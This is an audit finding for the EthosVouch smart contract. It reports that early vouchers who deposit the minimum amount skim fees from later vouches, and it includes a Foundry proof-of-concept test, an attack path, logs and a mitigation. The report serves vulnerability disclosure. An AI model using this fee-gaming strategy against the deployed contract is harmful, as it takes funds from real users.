Fresh Mulberry Walrus

High

# EthosVouch:_rewardPreviousVouchers Disproportionately Benefits Early Vouchers

### Summary

Rewarding only previous vouchers in EthosVouch:_rewardPreviousVouchers disproportionately benefits initial vouchers as initial vouchers can game the system to unfairly generate rewards from all future vouchers of a profile.

### Root Cause
https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L719-L731

The choice to proportionally reward only previous vouchers based on their vouch amount creates unfair benefits to initial vouchers, and can be further exploited by vouching the ABSOLUTE_MINIMUM_VOUCH_AMOUNT for all new profiles created. Instead, vouchers should be eligible for voucher fees generated by their own vouch.  They should receive the proportional share of the vouch fees generated by their own vouch.

### Internal pre-conditions

1. The entryVouchersPoolFeeBasisPoints is greater than 0 (set in initialization)

### External pre-conditions

1. A user must have a profile, and be eligible to vouch for another profile. Ideally there are no other vouches for that profile yet.

### Attack Path

1. The attacker sees a new profile being created/added to Ethos
2. The attacker vouches for the address with the ABSOLUTE_MINIMUM_VOUCH_AMOUNT
3. The attacker receives ~(100*entryVouchersPoolFeeBasisPoints/BASIS_POINT_SCALE)% of the next vouch regardless of size. Additional fees make the value a bit less.
4. The attacker will receive disproportional benefits due to reward structure in the long term.

### Impact

Vouchers past the first loses approximately:
`(VouchAmount/(VouchAmount + AlreadyVouchedAmount)) * (100*entryVouchersPoolFeeBasisPoints/BASIS_POINT_SCALE)%`

For the initialization value of 200 for entryVouchersPoolFeeBasisPoints is 2% of their vouch amount in fees if the VouchAmount >> AlreadyVouchedAmount.  

This significantly affects any vouch which the vouch amount is significant compared to the total amount vouched. Even if there are 100 previous vouchers, if the 101st vouch is the same size as the previous 100 combined, they are expected to lose ~1% (VouchAmount / 2*VouchAmount) of fees due to the distribution logic.

To prove this is a flaw in the contract, there exists a method to mitigate this additional fee:

To mitigate the fee caused by this logic flaw, the voucher should first vouch an amount comparable to the total amount already vouched. Then they should call the EthosVouch:increaseVouch method to increase their vouch amount to the intended value. By doing this, they are entered into the vouchIdsForSubjectProfileId array, and earn a significant portion of the fees on the larger secondary vouch amount. In some cases based on the total previous vouched amount and the intended vouch amount, the first vouch should be a multiple of the previous vouched amount for the best mitigation.

This also has the adverse effect of creating a financially incentive to "game" the system by min vouching new profiles, and using both EthosVouch:vouchByAddress and EthosVouch:increaseVouch to prevent themselves from losing funds unnecessarily. 



### PoC

This PoC uses Foundry for the Ethos contracts. The main test is in the DistributeRewards:testDistributeRewards

```solidity
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script} from "lib/forge-std/src/Script.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

// Contracts
import {ContractAddressManager} from "src/utils/ContractAddressManager.sol";
import {SignatureVerifier} from "src/utils/SignatureVerifier.sol";
import {InteractionControl} from "src/utils/InteractionControl.sol";
import {EthosAttestation} from "src/EthosAttestation.sol";
import {EthosProfile} from "src/EthosProfile.sol";
import {EthosReview} from "src/EthosReview.sol";
import {EthosVote} from "src/EthosVote.sol";
import {PaymentToken} from "src/mocks/PaymentToken.sol";
import {EthosVouch} from "src/EthosVouch.sol";
import {ReputationMarket} from "src/ReputationMarket.sol";

contract EthosDeploy is Script {
    ContractAddressManager internal contractAddressManager;
    SignatureVerifier internal signatureVerifier;
    InteractionControl internal interactionControl;
    EthosAttestation internal ethosAttestation;
    EthosProfile internal ethosProfile;
    EthosReview internal ethosReview;
    EthosVote internal ethosVote;
    EthosVouch internal ethosVouch;
    ReputationMarket internal reputationMarket;

    PaymentToken internal tokenOne;
    PaymentToken internal tokenTwo;

    ERC1967Proxy internal proxyEthosAttestation;
    ERC1967Proxy internal proxyEthosProfile;
    ERC1967Proxy internal proxyEthosReview;
    ERC1967Proxy internal proxyEthosVote;
    ERC1967Proxy internal proxyEthosVouch;
    ERC1967Proxy internal proxyReputationMarket;

    uint256 signerPk = uint256(keccak256(abi.encode("SIGNER")));

    address _admin = 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720;
    address _owner = address(0x2222);
    address _expectedSigner = vm.addr(signerPk);
    address internal _tokenHolder = address(0x4444);
    address _feeHolder = address(0x5555);

    function run() public {
        vm.startPrank(_owner);
        contractAddressManager = new ContractAddressManager();
        signatureVerifier = new SignatureVerifier();
        interactionControl = new InteractionControl(
            _owner,
            address(contractAddressManager)
        );

        bytes memory initData = abi.encodeWithSignature(
            "initialize(address,address,address,address,address)",
            _owner,
            _admin,
            _expectedSigner,
            address(signatureVerifier),
            address(contractAddressManager)
        );

        ethosAttestation = new EthosAttestation();
        proxyEthosAttestation = new ERC1967Proxy(
            address(ethosAttestation),
            initData
        );
        ethosProfile = new EthosProfile();
        proxyEthosProfile = new ERC1967Proxy(address(ethosProfile), initData);

        ethosReview = new EthosReview();
        proxyEthosReview = new ERC1967Proxy(address(ethosReview), initData);

        ethosVote = new EthosVote();
        proxyEthosVote = new ERC1967Proxy(address(ethosVote), initData);

        bytes memory vouchData = abi.encodeWithSignature(
            "initialize(address,address,address,address,address,address,uint256,uint256,uint256,uint256)",
            _owner,
            _admin,
            _expectedSigner,
            address(signatureVerifier),
            address(contractAddressManager),
            _feeHolder,
            50,
            150,
            200,
            100
        );

        ethosVouch = new EthosVouch();
        proxyEthosVouch = new ERC1967Proxy(address(ethosVouch), vouchData);

        reputationMarket = new ReputationMarket();
        proxyReputationMarket = new ERC1967Proxy(
            address(reputationMarket),
            initData
        );
        address[] memory contractAddresses = new address[](7);
        contractAddresses[0] = address(proxyEthosAttestation);
        contractAddresses[1] = address(proxyEthosProfile);
        contractAddresses[2] = address(proxyEthosReview);
        contractAddresses[3] = address(proxyEthosVote);
        contractAddresses[4] = address(proxyEthosVouch);
        contractAddresses[5] = address(interactionControl);
        string[] memory contractNames = new string[](7);
        contractNames[0] = "ETHOS_ATTESTATION";
        contractNames[1] = "ETHOS_PROFILE";
        contractNames[2] = "ETHOS_REVIEW";
        contractNames[3] = "ETHOS_VOTE";
        contractNames[4] = "ETHOS_VOUCH";
        contractNames[5] = "ETHOS_INTERACTION_CONTROL";
        contractAddressManager.updateContractAddressesForNames(
            contractAddresses,
            contractNames
        );
        vm.stopPrank();
    }
}

import {Test, console2 as console} from "lib/forge-std/src/Test.sol";

contract DistributeRewards is Test, EthosDeploy {
    IEthosVouch internal target;
    address internal _target;

    address internal _alice;
    address internal _bob;
    address internal _carl;
    address internal _diane;
    address[] internal users;

    uint256 internal constant ABSOLUTE_MINIMUM_VOUCH_AMOUNT = 0.0001 ether;

    function setUp() public virtual {
        EthosDeploy.run();

        target = IEthosVouch(address(proxyEthosVouch));
        _target = address(target);

        ///@dev First three Anvil generated addresses
        _alice = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
        _bob = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
        _carl = 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC;
        _diane = 0x90F79bf6EB2c4f870365E785982E1f101E93b906;

        users.push(_alice);
        users.push(_bob);
        users.push(_carl);
        users.push(_diane);
        for (uint256 i; i < users.length; ++i) {
            vm.deal(users[i], 1e20);
        }
        CreateProfile(_owner, _alice, 1);
        CreateProfile(_owner, _bob, 1);
        CreateProfile(_owner, _carl, 1);
        CreateProfile(_owner, _diane, 1);
    }

    function CreateProfile(
        address sender,
        address receiver,
        uint256 refererId
    ) internal {
        bool success;
        vm.prank(sender);
        (success, ) = address(proxyEthosProfile).call(
            abi.encodeWithSignature("inviteAddress(address)", receiver)
        );
        require(success, "Failed Invite Address");
        vm.prank(receiver);
        (success, ) = address(proxyEthosProfile).call(
            abi.encodeWithSignature("createProfile(uint256)", refererId)
        );
        require(success, "Failed Create Profile");
    }

    function testDistributeRewards() public {
        // VouchID 0 - Diane initial for alice
        // VouchID 1 - Diane initial for bob
        // VouchId 2 - Carl full vouch for alice
        // VouchID 3 - Carl small vouch for bob
        // VouchID 4 - Carl vouch for diane without interference (baseline)
        uint256 victimDepositAmount = 1 ether;
        console.log("Victim Initial Deposit: ", victimDepositAmount);

        vm.prank(_diane);
        target.vouchByAddress{value: ABSOLUTE_MINIMUM_VOUCH_AMOUNT}(
            _alice,
            "Ez Money",
            "Gimmie"
        );
        vm.prank(_diane);
        target.vouchByAddress{value: ABSOLUTE_MINIMUM_VOUCH_AMOUNT}(
            _bob,
            "Ez Money",
            "Gimmie"
        );

        (
            uint256 fullVouchAttackerBalance,
            uint256 fullVouchVictimBalance
        ) = fullVouchAtStart();
        (
            uint256 minVouchAttackerBalance,
            uint256 minVouchVictimBalance
        ) = minVouchAtStart();

        uint256 balanceWithoutInterference = withoutInterference();

        console.log("Without Interference");
        console.log("");
        console.log("Expected W/o Attack   : ", balanceWithoutInterference);
        console.log("");

        console.log("Full Vouch At Start");
        console.log("");
        console.log("Victim Final Amount   : ", fullVouchVictimBalance);
        console.log("Attacker Final Amount : ", fullVouchAttackerBalance);
        console.log("");

        console.log("Min Vouch At Start");
        console.log("");
        console.log("Victim Final Amount   : ", minVouchVictimBalance);
        console.log("Attacker Final Amount : ", minVouchAttackerBalance);
        console.log("");

        console.log("Difference In Increase Stake");
        console.log("");
        console.log(
            "Attacker Diff Amount  : ",
            fullVouchAttackerBalance - minVouchAttackerBalance
        );
        console.log("");
    }

    function fullVouchAtStart()
        public
        returns (uint256 finalAttackerBalance, uint256 finalVictimBalance)
    {
        vm.prank(_carl);
        target.vouchByAddress{value: 1 ether}(
            _alice,
            "Great Person",
            "Very Cool"
        );

        (, , , , , , finalAttackerBalance, , , ) = target.vouches(0); // VouchId 2 - Carl full vouch for alice
        (, , , , , , finalVictimBalance, , , ) = target.vouches(2); // VouchID 0 - Diane initial for alice
    }

    function minVouchAtStart()
        public
        returns (uint256 finalAttackerBalance, uint256 finalVictimBalance)
    {
        vm.startPrank(_carl);
        target.vouchByAddress{value: 0.001 ether}(
            _bob,
            "Great Person",
            "Very Cool"
        );

        target.increaseVouch{value: 1 ether - 0.001 ether}(3);

        vm.stopPrank();

        (, , , , , , finalAttackerBalance, , , ) = target.vouches(1); // VouchID 1 - Diane initial for bob
        (, , , , , , finalVictimBalance, , , ) = target.vouches(3); // VouchID 3 - Carl small vouch for bob
    }

    function withoutInterference() public returns (uint256 finalBalance) {
        vm.prank(_carl);
        target.vouchByAddress{value: 1 ether}(_diane, "Not Very Nice", "Bad");
        (, , , , , , finalBalance, , , ) = target.vouches(4);
    }
}

interface IEthosVouch {
    struct Vouch {
        bool archived;
        bool unhealthy;
        uint256 authorProfileId;
        address authorAddress;
        uint256 vouchId;
        uint256 subjectProfileId;
        uint256 balance;
        string comment;
        string metadata;
        ActivityCheckpoints activityCheckpoints;
    }

    struct ActivityCheckpoints {
        uint256 vouchedAt;
        uint256 unvouchedAt;
        uint256 unhealthyAt;
    }

    function vouches(
        uint256
    )
        external
        view
        returns (
            bool archived,
            bool unhealthy,
            uint256 authorProfileId,
            address authorAddress,
            uint256 vouchId,
            uint256 subjectProfileId,
            uint256 balance,
            string memory comment,
            string memory metadata,
            EthosVouch.ActivityCheckpoints memory activityCheckpoints
        );

    function vouchByAddress(
        address subjectAddress,
        string memory comment,
        string memory metadata
    ) external payable;

    function increaseVouch(uint256 vouchId) external payable;
}


```

Scenario:
The victim wants to vouch 1 ether for a user.
The attacker first vouches for the user with ABSOLUTE_MINIMUM_VOUCH_AMOUNT (0.0001 ether)

Results:
Without the attacker, results in 0.980 ether in vouches.balance after fees
Depositing the full amount results in 0.9606 ether (~2% loss)
Depositing 0.001 ether (10*ABSOLUTE_MINIMUM_VOUCH_AMOUNT) then (1-0.001)ether results in 0.9781 ether (~0.022% loss)
This results in a preventable loss of  (~1.78%)


```solidity
Ran 1 test for script/EthosDeploy.s.sol:DistributeRewards
[PASS] testDistributeRewards() (gas: 1914587)
Logs:
  Victim Initial Deposit:  1000000000000000000
  Without Interference
  
  Expected W/o Attack   :  980246550498737837
  
  Full Vouch At Start
  
  Victim Final Amount   :  960638707361482935
  Attacker Final Amount :  19705867792304775
  
  Min Vouch At Start
  
  Victim Final Amount   :  978089991357200677
  Attacker Final Amount :  2254583796587031
  
  Difference In Increase Stake
  
  Attacker Diff Amount  :  17451283995717744


```

### Mitigation

EthosVouch:_rewardPreviousVouchers should also reward the current voucher in proportion of their vouch amount, and not only the previous vouchers. This does not change the result of the first vouch of a profile, as the fees are paid to themselves. 